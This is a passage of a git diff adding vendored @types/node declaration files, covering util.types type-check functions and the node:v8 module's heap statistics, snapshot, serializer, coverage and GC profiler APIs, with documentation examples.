util.types.isExternal(0); // returns false + * util.types.isExternal(new String('foo')); // returns false + * ``` + * + * For further information on `napi_create_external`, refer to `napi_create_external()`. + * @since v10.0.0 + */ + function isExternal(object: unknown): boolean; + /** + * Returns `true` if the value is a built-in [`Float32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float32Array) instance. + * + * ```js + * util.types.isFloat32Array(new ArrayBuffer()); // Returns false + * util.types.isFloat32Array(new Float32Array()); // Returns true + * util.types.isFloat32Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isFloat32Array(object: unknown): object is Float32Array; + /** + * Returns `true` if the value is a built-in [`Float64Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array) instance. + * + * ```js + * util.types.isFloat64Array(new ArrayBuffer()); // Returns false + * util.types.isFloat64Array(new Uint8Array()); // Returns false + * util.types.isFloat64Array(new Float64Array()); // Returns true + * ``` + * @since v10.0.0 + */ + function isFloat64Array(object: unknown): object is Float64Array; + /** + * Returns `true` if the value is a generator function. + * This only reports back what the JavaScript engine is seeing; + * in particular, the return value may not match the original source code if + * a transpilation tool was used. + * + * ```js + * util.types.isGeneratorFunction(function foo() {}); // Returns false + * util.types.isGeneratorFunction(function* foo() {}); // Returns true + * ``` + * @since v10.0.0 + */ + function isGeneratorFunction(object: unknown): object is GeneratorFunction; + /** + * Returns `true` if the value is a generator object as returned from a + * built-in generator function. + * This only reports back what the JavaScript engine is seeing; + * in particular, the return value may not match the original source code if + * a transpilation tool was used. + * + * ```js + * function* foo() {} + * const generator = foo(); + * util.types.isGeneratorObject(generator); // Returns true + * ``` + * @since v10.0.0 + */ + function isGeneratorObject(object: unknown): object is Generator; + /** + * Returns `true` if the value is a built-in [`Int8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int8Array) instance. + * + * ```js + * util.types.isInt8Array(new ArrayBuffer()); // Returns false + * util.types.isInt8Array(new Int8Array()); // Returns true + * util.types.isInt8Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isInt8Array(object: unknown): object is Int8Array; + /** + * Returns `true` if the value is a built-in [`Int16Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int16Array) instance. + * + * ```js + * util.types.isInt16Array(new ArrayBuffer()); // Returns false + * util.types.isInt16Array(new Int16Array()); // Returns true + * util.types.isInt16Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isInt16Array(object: unknown): object is Int16Array; + /** + * Returns `true` if the value is a built-in [`Int32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Int32Array) instance. + * + * ```js + * util.types.isInt32Array(new ArrayBuffer()); // Returns false + * util.types.isInt32Array(new Int32Array()); // Returns true + * util.types.isInt32Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isInt32Array(object: unknown): object is Int32Array; + /** + * Returns `true` if the value is a built-in [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) instance. + * + * ```js + * util.types.isMap(new Map()); // Returns true + * ``` + * @since v10.0.0 + */ + function isMap( + object: T | {}, + ): object is T extends ReadonlyMap ? (unknown extends T ? never : ReadonlyMap) + : Map; + /** + * Returns `true` if the value is an iterator returned for a built-in [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) instance. + * + * ```js + * const map = new Map(); + * util.types.isMapIterator(map.keys()); // Returns true + * util.types.isMapIterator(map.values()); // Returns true + * util.types.isMapIterator(map.entries()); // Returns true + * util.types.isMapIterator(map[Symbol.iterator]()); // Returns true + * ``` + * @since v10.0.0 + */ + function isMapIterator(object: unknown): boolean; + /** + * Returns `true` if the value is an instance of a [Module Namespace Object](https://tc39.github.io/ecma262/#sec-module-namespace-exotic-objects). + * + * ```js + * import * as ns from './a.js'; + * + * util.types.isModuleNamespaceObject(ns); // Returns true + * ``` + * @since v10.0.0 + */ + function isModuleNamespaceObject(value: unknown): boolean; + /** + * Returns `true` if the value was returned by the constructor of a [built-in `Error` type](https://tc39.es/ecma262/#sec-error-objects). + * + * ```js + * console.log(util.types.isNativeError(new Error())); // true + * console.log(util.types.isNativeError(new TypeError())); // true + * console.log(util.types.isNativeError(new RangeError())); // true + * ``` + * + * Subclasses of the native error types are also native errors: + * + * ```js + * class MyError extends Error {} + * console.log(util.types.isNativeError(new MyError())); // true + * ``` + * + * A value being `instanceof` a native error class is not equivalent to `isNativeError()` returning `true` for that value. `isNativeError()` returns `true` for errors + * which come from a different [realm](https://tc39.es/ecma262/#realm) while `instanceof Error` returns `false` for these errors: + * + * ```js + * import vm from 'node:vm'; + * const context = vm.createContext({}); + * const myError = vm.runInContext('new Error()', context); + * console.log(util.types.isNativeError(myError)); // true + * console.log(myError instanceof Error); // false + * ``` + * + * Conversely, `isNativeError()` returns `false` for all objects which were not + * returned by the constructor of a native error. That includes values + * which are `instanceof` native errors: + * + * ```js + * const myError = { __proto__: Error.prototype }; + * console.log(util.types.isNativeError(myError)); // false + * console.log(myError instanceof Error); // true + * ``` + * @since v10.0.0 + */ + function isNativeError(object: unknown): object is Error; + /** + * Returns `true` if the value is a number object, e.g. created + * by `new Number()`. + * + * ```js + * util.types.isNumberObject(0); // Returns false + * util.types.isNumberObject(new Number(0)); // Returns true + * ``` + * @since v10.0.0 + */ + function isNumberObject(object: unknown): object is Number; + /** + * Returns `true` if the value is a built-in [`Promise`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). + * + * ```js + * util.types.isPromise(Promise.resolve(42)); // Returns true + * ``` + * @since v10.0.0 + */ + function isPromise(object: unknown): object is Promise; + /** + * Returns `true` if the value is a [`Proxy`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) instance. + * + * ```js + * const target = {}; + * const proxy = new Proxy(target, {}); + * util.types.isProxy(target); // Returns false + * util.types.isProxy(proxy); // Returns true + * ``` + * @since v10.0.0 + */ + function isProxy(object: unknown): boolean; + /** + * Returns `true` if the value is a regular expression object. + * + * ```js + * util.types.isRegExp(/abc/); // Returns true + * util.types.isRegExp(new RegExp('abc')); // Returns true + * ``` + * @since v10.0.0 + */ + function isRegExp(object: unknown): object is RegExp; + /** + * Returns `true` if the value is a built-in [`Set`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) instance. + * + * ```js + * util.types.isSet(new Set()); // Returns true + * ``` + * @since v10.0.0 + */ + function isSet( + object: T | {}, + ): object is T extends ReadonlySet ? (unknown extends T ? never : ReadonlySet) : Set; + /** + * Returns `true` if the value is an iterator returned for a built-in [`Set`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) instance. + * + * ```js + * const set = new Set(); + * util.types.isSetIterator(set.keys()); // Returns true + * util.types.isSetIterator(set.values()); // Returns true + * util.types.isSetIterator(set.entries()); // Returns true + * util.types.isSetIterator(set[Symbol.iterator]()); // Returns true + * ``` + * @since v10.0.0 + */ + function isSetIterator(object: unknown): boolean; + /** + * Returns `true` if the value is a built-in [`SharedArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) instance. + * This does _not_ include [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) instances. Usually, it is + * desirable to test for both; See `util.types.isAnyArrayBuffer()` for that. + * + * ```js + * util.types.isSharedArrayBuffer(new ArrayBuffer()); // Returns false + * util.types.isSharedArrayBuffer(new SharedArrayBuffer()); // Returns true + * ``` + * @since v10.0.0 + */ + function isSharedArrayBuffer(object: unknown): object is SharedArrayBuffer; + /** + * Returns `true` if the value is a string object, e.g. created + * by `new String()`. + * + * ```js + * util.types.isStringObject('foo'); // Returns false + * util.types.isStringObject(new String('foo')); // Returns true + * ``` + * @since v10.0.0 + */ + function isStringObject(object: unknown): object is String; + /** + * Returns `true` if the value is a symbol object, created + * by calling `Object()` on a `Symbol` primitive. + * + * ```js + * const symbol = Symbol('foo'); + * util.types.isSymbolObject(symbol); // Returns false + * util.types.isSymbolObject(Object(symbol)); // Returns true + * ``` + * @since v10.0.0 + */ + function isSymbolObject(object: unknown): object is Symbol; + /** + * Returns `true` if the value is a built-in [`TypedArray`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) instance. + * + * ```js + * util.types.isTypedArray(new ArrayBuffer()); // Returns false + * util.types.isTypedArray(new Uint8Array()); // Returns true + * util.types.isTypedArray(new Float64Array()); // Returns true + * ``` + * + * See also [`ArrayBuffer.isView()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView). + * @since v10.0.0 + */ + function isTypedArray(object: unknown): object is NodeJS.TypedArray; + /** + * Returns `true` if the value is a built-in [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) instance. + * + * ```js + * util.types.isUint8Array(new ArrayBuffer()); // Returns false + * util.types.isUint8Array(new Uint8Array()); // Returns true + * util.types.isUint8Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isUint8Array(object: unknown): object is Uint8Array; + /** + * Returns `true` if the value is a built-in [`Uint8ClampedArray`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray) instance. + * + * ```js + * util.types.isUint8ClampedArray(new ArrayBuffer()); // Returns false + * util.types.isUint8ClampedArray(new Uint8ClampedArray()); // Returns true + * util.types.isUint8ClampedArray(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isUint8ClampedArray(object: unknown): object is Uint8ClampedArray; + /** + * Returns `true` if the value is a built-in [`Uint16Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint16Array) instance. + * + * ```js + * util.types.isUint16Array(new ArrayBuffer()); // Returns false + * util.types.isUint16Array(new Uint16Array()); // Returns true + * util.types.isUint16Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isUint16Array(object: unknown): object is Uint16Array; + /** + * Returns `true` if the value is a built-in [`Uint32Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint32Array) instance. + * + * ```js + * util.types.isUint32Array(new ArrayBuffer()); // Returns false + * util.types.isUint32Array(new Uint32Array()); // Returns true + * util.types.isUint32Array(new Float64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isUint32Array(object: unknown): object is Uint32Array; + /** + * Returns `true` if the value is a built-in [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) instance. + * + * ```js + * util.types.isWeakMap(new WeakMap()); // Returns true + * ``` + * @since v10.0.0 + */ + function isWeakMap(object: unknown): object is WeakMap; + /** + * Returns `true` if the value is a built-in [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) instance. + * + * ```js + * util.types.isWeakSet(new WeakSet()); // Returns true + * ``` + * @since v10.0.0 + */ + function isWeakSet(object: unknown): object is WeakSet; + /** + * Returns `true` if `value` is a `KeyObject`, `false` otherwise. + * @since v16.2.0 + */ + function isKeyObject(object: unknown): object is KeyObject; + /** + * Returns `true` if `value` is a `CryptoKey`, `false` otherwise. + * @since v16.2.0 + */ + function isCryptoKey(object: unknown): object is webcrypto.CryptoKey; +} +declare module "node:util" { + export * from "util"; +} +declare module "node:util/types" { + export * from "util/types"; +} diff --git a/node_modules/@types/node/v8.d.ts b/node_modules/@types/node/v8.d.ts new file mode 100644 index 000000000000..040bcfafafc5 --- /dev/null +++ b/node_modules/@types/node/v8.d.ts @@ -0,0 +1,808 @@ +/** + * The `node:v8` module exposes APIs that are specific to the version of [V8](https://developers.google.com/v8/) built into the Node.js binary. It can be accessed using: + * + * ```js + * import v8 from 'node:v8'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/v8.js) + */ +declare module "v8" { + import { Readable } from "node:stream"; + interface HeapSpaceInfo { + space_name: string; + space_size: number; + space_used_size: number; + space_available_size: number; + physical_space_size: number; + } + // ** Signifies if the --zap_code_space option is enabled or not. 1 == enabled, 0 == disabled. */ + type DoesZapCodeSpaceFlag = 0 | 1; + interface HeapInfo { + total_heap_size: number; + total_heap_size_executable: number; + total_physical_size: number; + total_available_size: number; + used_heap_size: number; + heap_size_limit: number; + malloced_memory: number; + peak_malloced_memory: number; + does_zap_garbage: DoesZapCodeSpaceFlag; + number_of_native_contexts: number; + number_of_detached_contexts: number; + total_global_handles_size: number; + used_global_handles_size: number; + external_memory: number; + } + interface HeapCodeStatistics { + code_and_metadata_size: number; + bytecode_and_metadata_size: number; + external_script_source_size: number; + } + interface HeapSnapshotOptions { + /** + * If true, expose internals in the heap snapshot. + * @default false + */ + exposeInternals?: boolean; + /** + * If true, expose numeric values in artificial fields. + * @default false + */ + exposeNumericValues?: boolean; + } + /** + * Returns an integer representing a version tag derived from the V8 version, + * command-line flags, and detected CPU features. This is useful for determining + * whether a `vm.Script` `cachedData` buffer is compatible with this instance + * of V8. + * + * ```js + * console.log(v8.cachedDataVersionTag()); // 3947234607 + * // The value returned by v8.cachedDataVersionTag() is derived from the V8 + * // version, command-line flags, and detected CPU features. Test that the value + * // does indeed update when flags are toggled. + * v8.setFlagsFromString('--allow_natives_syntax'); + * console.log(v8.cachedDataVersionTag()); // 183726201 + * ``` + * @since v8.0.0 + */ + function cachedDataVersionTag(): number; + /** + * Returns an object with the following properties: + * + * `does_zap_garbage` is a 0/1 boolean, which signifies whether the `--zap_code_space` option is enabled or not. This makes V8 overwrite heap + * garbage with a bit pattern. The RSS footprint (resident set size) gets bigger + * because it continuously touches all heap pages and that makes them less likely + * to get swapped out by the operating system. + * + * `number_of_native_contexts` The value of native\_context is the number of the + * top-level contexts currently active. Increase of this number over time indicates + * a memory leak. + * + * `number_of_detached_contexts` The value of detached\_context is the number + * of contexts that were detached and not yet garbage collected. This number + * being non-zero indicates a potential memory leak. + * + * `total_global_handles_size` The value of total\_global\_handles\_size is the + * total memory size of V8 global handles. + * + * `used_global_handles_size` The value of used\_global\_handles\_size is the + * used memory size of V8 global handles. + * + * `external_memory` The value of external\_memory is the memory size of array + * buffers and external strings. + * + * ```js + * { + * total_heap_size: 7326976, + * total_heap_size_executable: 4194304, + * total_physical_size: 7326976, + * total_available_size: 1152656, + * used_heap_size: 3476208, + * heap_size_limit: 1535115264, + * malloced_memory: 16384, + * peak_malloced_memory: 1127496, + * does_zap_garbage: 0, + * number_of_native_contexts: 1, + * number_of_detached_contexts: 0, + * total_global_handles_size: 8192, + * used_global_handles_size: 3296, + * external_memory: 318824 + * } + * ``` + * @since v1.0.0 + */ + function getHeapStatistics(): HeapInfo; + /** + * Returns statistics about the V8 heap spaces, i.e. the segments which make up + * the V8 heap. Neither the ordering of heap spaces, nor the availability of a + * heap space can be guaranteed as the statistics are provided via the + * V8 [`GetHeapSpaceStatistics`](https://v8docs.nodesource.com/node-13.2/d5/dda/classv8_1_1_isolate.html#ac673576f24fdc7a33378f8f57e1d13a4) function and may change from one V8 version to the + * next. + * + * The value returned is an array of objects containing the following properties: + * + * ```json + * [ + * { + * "space_name": "new_space", + * "space_size": 2063872, + * "space_used_size": 951112, + * "space_available_size": 80824, + * "physical_space_size": 2063872 + * }, + * { + * "space_name": "old_space", + * "space_size": 3090560, + * "space_used_size": 2493792, + * "space_available_size": 0, + * "physical_space_size": 3090560 + * }, + * { + * "space_name": "code_space", + * "space_size": 1260160, + * "space_used_size": 644256, + * "space_available_size": 960, + * "physical_space_size": 1260160 + * }, + * { + * "space_name": "map_space", + * "space_size": 1094160, + * "space_used_size": 201608, + * "space_available_size": 0, + * "physical_space_size": 1094160 + * }, + * { + * "space_name": "large_object_space", + * "space_size": 0, + * "space_used_size": 0, + * "space_available_size": 1490980608, + * "physical_space_size": 0 + * } + * ] + * ``` + * @since v6.0.0 + */ + function getHeapSpaceStatistics(): HeapSpaceInfo[]; + /** + * The `v8.setFlagsFromString()` method can be used to programmatically set + * V8 command-line flags. This method should be used with care. Changing settings + * after the VM has started may result in unpredictable behavior, including + * crashes and data loss; or it may simply do nothing. + * + * The V8 options available for a version of Node.js may be determined by running `node --v8-options`. + * + * Usage: + * + * ```js + * // Print GC events to stdout for one minute. + * import v8 from 'node:v8'; + * v8.setFlagsFromString('--trace_gc'); + * setTimeout(() => { v8.setFlagsFromString('--notrace_gc'); }, 60e3); + * ``` + * @since v1.0.0 + */ + function setFlagsFromString(flags: string): void; + /** + * This is similar to the [`queryObjects()` console API](https://developer.chrome.com/docs/devtools/console/utilities#queryObjects-function) + * provided by the Chromium DevTools console. It can be used to search for objects that have the matching constructor on its prototype chain + * in the heap after a full garbage collection, which can be useful for memory leak regression tests. To avoid surprising results, users should + * avoid using this API on constructors whose implementation they don't control, or on constructors that can be invoked by other parties in the + * application. + * + * To avoid accidental leaks, this API does not return raw references to the objects found. By default, it returns the count of the objects + * found. If `options.format` is `'summary'`, it returns an array containing brief string representations for each object. The visibility provided + * in this API is similar to what the heap snapshot provides, while users can save the cost of serialization and parsing and directly filter the + * target objects during the search. + * + * Only objects created in the current execution context are included in the results. + * + * ```js + * import { queryObjects } from 'node:v8'; + * class A { foo = 'bar'; } + * console.log(queryObjects(A)); // 0 + * const a = new A(); + * console.log(queryObjects(A)); // 1 + * // [ "A { foo: 'bar' }" ] + * console.log(queryObjects(A, { format: 'summary' })); + * + * class B extends A { bar = 'qux'; } + * const b = new B(); + * console.log(queryObjects(B)); // 1 + * // [ "B { foo: 'bar', bar: 'qux' }" ] + * console.log(queryObjects(B, { format: 'summary' })); + * + * // Note that, when there are child classes inheriting from a constructor, + * // the constructor also shows up in the prototype chain of the child + * // classes's prototoype, so the child classes's prototoype would also be + * // included in the result. + * console.log(queryObjects(A)); // 3 + * // [ "B { foo: 'bar', bar: 'qux' }", 'A {}', "A { foo: 'bar' }" ] + * console.log(queryObjects(A, { format: 'summary' })); + * ``` + * @param ctor The constructor that can be used to search on the prototype chain in order to filter target objects in the heap. + * @since v20.13.0 + * @experimental + */ + function queryObjects(ctor: Function): number | string[]; + function queryObjects(ctor: Function, options: { format: "count" }): number; + function queryObjects(ctor: Function, options: { format: "summary" }): string[]; + /** + * Generates a snapshot of the current V8 heap and returns a Readable + * Stream that may be used to read the JSON serialized representation. + * This JSON stream format is intended to be used with tools such as + * Chrome DevTools. The JSON schema is undocumented and specific to the + * V8 engine. Therefore, the schema may change from one version of V8 to the next. + * + * Creating a heap snapshot requires memory about twice the size of the heap at + * the time the snapshot is created. This results in the risk of OOM killers + * terminating the process. + * + * Generating a snapshot is a synchronous operation which blocks the event loop + * for a duration depending on the heap size. + * + * ```js + * // Print heap snapshot to the console + * import v8 from 'node:v8'; + * const stream = v8.getHeapSnapshot(); + * stream.pipe(process.stdout); + * ``` + * @since v11.13.0 + * @return A Readable containing the V8 heap snapshot. + */ + function getHeapSnapshot(options?: HeapSnapshotOptions): Readable; + /** + * Generates a snapshot of the current V8 heap and writes it to a JSON + * file. This file is intended to be used with tools such as Chrome + * DevTools. The JSON schema is undocumented and specific to the V8 + * engine, and may change from one version of V8 to the next. + * + * A heap snapshot is specific to a single V8 isolate. When using `worker threads`, a heap snapshot generated from the main thread will + * not contain any information about the workers, and vice versa. + * + * Creating a heap snapshot requires memory about twice the size of the heap at + * the time the snapshot is created. This results in the risk of OOM killers + * terminating the process. + * + * Generating a snapshot is a synchronous operation which blocks the event loop + * for a duration depending on the heap size. + * + * ```js + * import { writeHeapSnapshot } from 'node:v8'; + * import { + * Worker, + * isMainThread, + * parentPort, + * } from 'node:worker_threads'; + * + * if (isMainThread) { + * const worker = new Worker(__filename); + * + * worker.once('message', (filename) => { + * console.log(`worker heapdump: ${filename}`); + * // Now get a heapdump for the main thread. + * console.log(`main thread heapdump: ${writeHeapSnapshot()}`); + * }); + * + * // Tell the worker to create a heapdump. + * worker.postMessage('heapdump'); + * } else { + * parentPort.once('message', (message) => { + * if (message === 'heapdump') { + * // Generate a heapdump for the worker + * // and return the filename to the parent. + * parentPort.postMessage(writeHeapSnapshot()); + * } + * }); + * } + * ``` + * @since v11.13.0 + * @param filename The file path where the V8 heap snapshot is to be saved. If not specified, a file name with the pattern `'Heap-${yyyymmdd}-${hhmmss}-${pid}-${thread_id}.heapsnapshot'` will be + * generated, where `{pid}` will be the PID of the Node.js process, `{thread_id}` will be `0` when `writeHeapSnapshot()` is called from the main Node.js thread or the id of a + * worker thread. + * @return The filename where the snapshot was saved. + */ + function writeHeapSnapshot(filename?: string, options?: HeapSnapshotOptions): string; + /** + * Get statistics about code and its metadata in the heap, see + * V8 [`GetHeapCodeAndMetadataStatistics`](https://v8docs.nodesource.com/node-13.2/d5/dda/classv8_1_1_isolate.html#a6079122af17612ef54ef3348ce170866) API. Returns an object with the + * following properties: + * + * ```js + * { + * code_and_metadata_size: 212208, + * bytecode_and_metadata_size: 161368, + * external_script_source_size: 1410794, + * cpu_profiler_metadata_size: 0, + * } + * ``` + * @since v12.8.0 + */ + function getHeapCodeStatistics(): HeapCodeStatistics; + /** + * @since v8.0.0 + */ + class Serializer { + /** + * Writes out a header, which includes the serialization format version. + */ + writeHeader(): void; + /** + * Serializes a JavaScript value and adds the serialized representation to the + * internal buffer. + * + * This throws an error if `value` cannot be serialized. + */ + writeValue(val: any): boolean; + /** + * Returns the stored internal buffer. This serializer should not be used once + * the buffer is released. Calling this method results in undefined behavior + * if a previous write has failed. + */ + releaseBuffer(): Buffer; + /** + * Marks an `ArrayBuffer` as having its contents transferred out of band. + * Pass the corresponding `ArrayBuffer` in the deserializing context to `deserializer.transferArrayBuffer()`. + * @param id A 32-bit unsigned integer. + * @param arrayBuffer An `ArrayBuffer` instance. + */ + transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void; + /** + * Write a raw 32-bit unsigned integer. + * For use inside of a custom `serializer._writeHostObject()`. + */ + writeUint32(value: number): void; + /** + * Write a raw 64-bit unsigned integer, split into high and low 32-bit parts. + * For use inside of a custom `serializer._writeHostObject()`. + */ + writeUint64(hi: number, lo: number): void; + /** + * Write a JS `number` value. + * For use inside of a custom `serializer._writeHostObject()`. + */ + writeDouble(value: number): void; + /** + * Write raw bytes into the serializer's internal buffer. The deserializer + * will require a way to compute the length of the buffer. + * For use inside of a custom `serializer._writeHostObject()`. + */ + writeRawBytes(buffer: NodeJS.TypedArray): void; + } + /** + * A subclass of `Serializer` that serializes `TypedArray`(in particular `Buffer`) and `DataView` objects as host objects, and only + * stores the part of their underlying `ArrayBuffer`s that they are referring to. + * @since v8.0.0 + */ + class DefaultSerializer extends Serializer {} + /** + * @since v8.0.0 + */ + class Deserializer { + constructor(data: NodeJS.TypedArray); + /** + * Reads and validates a header (including the format version). + * May, for example, reject an invalid or unsupported wire format. In that case, + * an `Error` is thrown. + */ + readHeader(): boolean; + /** + * Deserializes a JavaScript value from the buffer and returns it. + */ + readValue(): any; + /** + * Marks an `ArrayBuffer` as having its contents transferred out of band. + * Pass the corresponding `ArrayBuffer` in the serializing context to `serializer.transferArrayBuffer()` (or return the `id` from `serializer._getSharedArrayBufferId()` in the case of + * `SharedArrayBuffer`s). + * @param id A 32-bit unsigned integer. + * @param arrayBuffer An `ArrayBuffer` instance. + */ + transferArrayBuffer(id: number, arrayBuffer: ArrayBuffer): void; + /** + * Reads the underlying wire format version. Likely mostly to be useful to + * legacy code reading old wire format versions. May not be called before `.readHeader()`. + */ + getWireFormatVersion(): number; + /** + * Read a raw 32-bit unsigned integer and return it. + * For use inside of a custom `deserializer._readHostObject()`. + */ + readUint32(): number; + /** + * Read a raw 64-bit unsigned integer and return it as an array `[hi, lo]` with two 32-bit unsigned integer entries. + * For use inside of a custom `deserializer._readHostObject()`. + */ + readUint64(): [number, number]; + /** + * Read a JS `number` value. + * For use inside of a custom `deserializer._readHostObject()`. + */ + readDouble(): number; + /** + * Read raw bytes from the deserializer's internal buffer. The `length` parameter + * must correspond to the length of the buffer that was passed to `serializer.writeRawBytes()`. + * For use inside of a custom `deserializer._readHostObject()`. + */ + readRawBytes(length: number): Buffer; + } + /** + * A subclass of `Deserializer` corresponding to the format written by `DefaultSerializer`. + * @since v8.0.0 + */ + class DefaultDeserializer extends Deserializer {} + /** + * Uses a `DefaultSerializer` to serialize `value` into a buffer. + * + * `ERR_BUFFER_TOO_LARGE` will be thrown when trying to + * serialize a huge object which requires buffer + * larger than `buffer.constants.MAX_LENGTH`. + * @since v8.0.0 + */ + function serialize(value: any): Buffer; + /** + * Uses a `DefaultDeserializer` with default options to read a JS value + * from a buffer. + * @since v8.0.0 + * @param buffer A buffer returned by {@link serialize}. + */ + function deserialize(buffer: NodeJS.TypedArray): any; + /** + * The `v8.takeCoverage()` method allows the user to write the coverage started by `NODE_V8_COVERAGE` to disk on demand. This method can be invoked multiple + * times during the lifetime of the process. Each time the execution counter will + * be reset and a new coverage report will be written to the directory specified + * by `NODE_V8_COVERAGE`. + * + * When the process is about to exit, one last coverage will still be written to + * disk unless {@link stopCoverage} is invoked before the process exits. + * @since v15.1.0, v14.18.0, v12.22.0 + */ + function takeCoverage(): void; + /** + * The `v8.stopCoverage()` method allows the user to stop the coverage collection + * started by `NODE_V8_COVERAGE`, so that V8 can release the execution count + * records and optimize code. This can be used in conjunction with {@link takeCoverage} if the user wants to collect the coverage on demand. + * @since v15.1.0, v14.18.0, v12.22.0 + */ + function stopCoverage(): void; + /** + * The API is a no-op if `--heapsnapshot-near-heap-limit` is already set from the command line or the API is called more than once. + * `limit` must be a positive integer. See [`--heapsnapshot-near-heap-limit`](https://nodejs.org/docs/latest-v22.x/api/cli.html#--heapsnapshot-near-heap-limitmax_count) for more information. + * @experimental + * @since v18.10.0, v16.18.0 + */ + function setHeapSnapshotNearHeapLimit(limit: number): void; + /** + * This API collects GC data in current thread. + * @since v19.6.0, v18.15.0 + */ + class GCProfiler { + /** + * Start collecting GC data. + * @since v19.6.0, v18.15.0 + */ + start(): void; + /** + * Stop collecting GC data and return an object. The content of object + * is as follows. + * + * ```json + * { + * "version": 1, + * "startTime": 1674059033862, + * "statistics": [ + * { + * "gcType": "Scavenge", + * "beforeGC": { + * "heapStatistics": { + * "totalHeapSize": 5005312, + * "totalHeapSizeExecutable": 524288, + * "totalPhysicalSize": 5226496, + * "totalAvailableSize": 4341325216, + * "totalGlobalHandlesSize": 8192, + * "usedGlobalHandlesSize": 2112, + * "usedHeapSize": 4883840, + * "heapSizeLimit": 4345298944, + * "mallocedMemory": 254128, + * "externalMemory": 225138, + * "peakMallocedMemory": 181760 + * }, + * "heapSpaceStatistics": [ + * { + * "spaceName": "read_only_space", + * "spaceSize": 0, + * "spaceUsedSize": 0, + * "spaceAvailableSize": 0, + * "physicalSpaceSize": 0 + * } + * ] + * }, + * "cost": 1574.14, + * "afterGC": { + * "heapStatistics": { + * "totalHeapSize": 6053888, + * "totalHeapSizeExecutable": 524288, + * "totalPhysicalSize": 5500928, + * "totalAvailableSize": 4341101384, + * "totalGlobalHandlesSize": 8192, + * "usedGlobalHandlesSize": 2112, + * "usedHeapSize": 4059096, + * "heapSizeLimit": 4345298944, + * "mallocedMemory": 254128, + * "externalMemory": 225138, + * "peakMallocedMemory": 181760 + * }, + * "heapSpaceStatistics": [ + * { + * "spaceName": "read_only_space", + * "spaceSize": 0, + * "spaceUsedSize": 0, + * "spaceAvailableSize": 0, + * "physicalSpaceSize": 0 + * } + * ] + * } + * } + * ], + * "endTime": 1674059036865 + * } + * ``` + * + * Here's an example. + * + * ```js + * import { GCProfiler } from 'node:v8'; + * const profiler = new GCProfiler(); + * profiler.start(); + * setTimeout(() => { + * console.log(profiler.stop()); + * }, 1000); + * ``` + * @since v19.6.0, v18.15.0 + */ + stop(): GCProfilerResult; + } + interface GCProfilerResult { + version: number; + startTime: number; + endTime: number; + statistics: Array<{ + gcType: string; + cost: number; + beforeGC: { + heapStatistics: HeapStatistics; + heapSpaceStatistics: HeapSpaceStatistics[]; + }; + afterGC: { + heapStatistics: HeapStatistics; + heapSpaceStatistics: HeapSpaceStatistics[]; + }; + }>; + } + interface HeapStatistics { + totalHeapSize: number; + totalHeapSizeExecutable: number; + totalPhysicalSize: number; + totalAvailableSize: number; + totalGlobalHandlesSize: number; + usedGlobalHandlesSize: number; + usedHeapSize: number; + heapSizeLimit: number; + mallocedMemory: number; + externalMemory: number; + peakMallocedMemory: number; + } + interface HeapSpaceStatistics { + spaceName: string; + spaceSize: number; + spaceUsedSize: number; + spaceAvailableSize: number; + physicalSpaceSize: number; + } + /** + * Called when a promise is constructed. This does not mean that corresponding before/after events will occur, only that the possibility exists. This will + * happen if a promise is created without ever getting a continuation. + * @since v17.1.0, v16.14.0 + * @param promise The promise being created. + * @param parent The promise continued from, if applicable. + */ + interface Init { + (promise: Promise, parent: Promise): void; + } + /** + * Called before a promise continuation executes. This can be in the form of `then()`, `catch()`, or `finally()` handlers or an await resuming. + * + * The before callback will be called 0 to N times. The before callback will typically be called 0 times if no continuation was ever made for the promise. + * The before callback may be called many times in the case where many continuations have been made from the same promise. + * @since v17.1.0, v16.14.0 + */ + interface Before { + (promise: Promise): void; + } + /** + * Called immediately after a promise continuation executes. This may be after a `then()`, `catch()`, or `finally()` handler or before an await after another await. + * @since v17.1.0, v16.14.0 + */ + interface After { + (promise: Promise): void; + } + /** + * Called when the promise receives a resolution or rejection value. This may occur synchronously in the case of {@link Promise.resolve()} or + * {@link Promise.reject()}. + * @since v17.1.0, v16.14.0 + */ + interface Settled { + (promise: Promise): void; + } + /** + * Key events in the lifetime of 